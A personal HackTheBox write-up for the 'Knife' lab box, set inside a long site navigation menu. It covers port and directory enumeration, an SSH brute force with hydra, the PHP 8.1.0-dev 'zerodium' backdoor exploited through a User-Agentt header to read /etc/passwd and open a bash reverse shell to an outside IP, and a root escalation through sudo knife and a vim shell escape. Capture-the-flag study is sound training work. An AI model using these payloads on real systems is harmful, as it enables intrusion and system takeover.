HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Enumeration
  • PHP RCE
  • Custom Script 'chef' PE
  1. Boxes: Easy

Knife

Personal Rating: Easy

PreviousKeeperNextLame

Last updated 1 year ago

Enumeration

Starting off with basic enum:

  • Open Ports: 22, 80

  • webserver: Apache httpd 2.4.41

  • ssh server: OpenSSH 8.2p1

dirb scan:

//403

//same as index

//same as index

The sourcecode of index has interesting parts at the end, is it possibly injectable?

I found this path.getBoundingClientRect();

I also started an ssh bruteforce with hydra, just to have it running in the background

Wappalyzer plugin: PHP 8.1.0, Apache 2.4.41, Google Font API, Ubuntu

PHP RCE

This php remote code execution exploit worked after checking the php version:

This exploit was a php backdoor and the payload was very simple:

User-Agentt: zerodiumsystem("cat /etc/passwd");

User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/10.10.16.7/4444 0>&1'");

Custom Script 'chef' PE

I got the user james. I found an SUID binary as well: ./opt/chef-workstation/bin/knife

Looking through the "knife" script, I found "chef 16.10.8", which is vulnerable to a privilege escalation.

This was the final payload, which was simple too:

sudo /usr/bin/knife client create detlef -e vim

	:!/bin/bash

# python3 -c ‘import pty; pty.spawn("/bin/bash")’
http://10.10.10.242/index.php
http://10.10.10.242/server-status
http://10.10.10.242/icons
http://10.10.10.242/icons/small
PHP 8.1.0-dev - 'User-Agentt' Remote Code ExecutionExploit Database
https://www.sourceclear.com/vulnerability-database/security/privilege-escalation/ruby/sid-1287www.sourceclear.com
Logo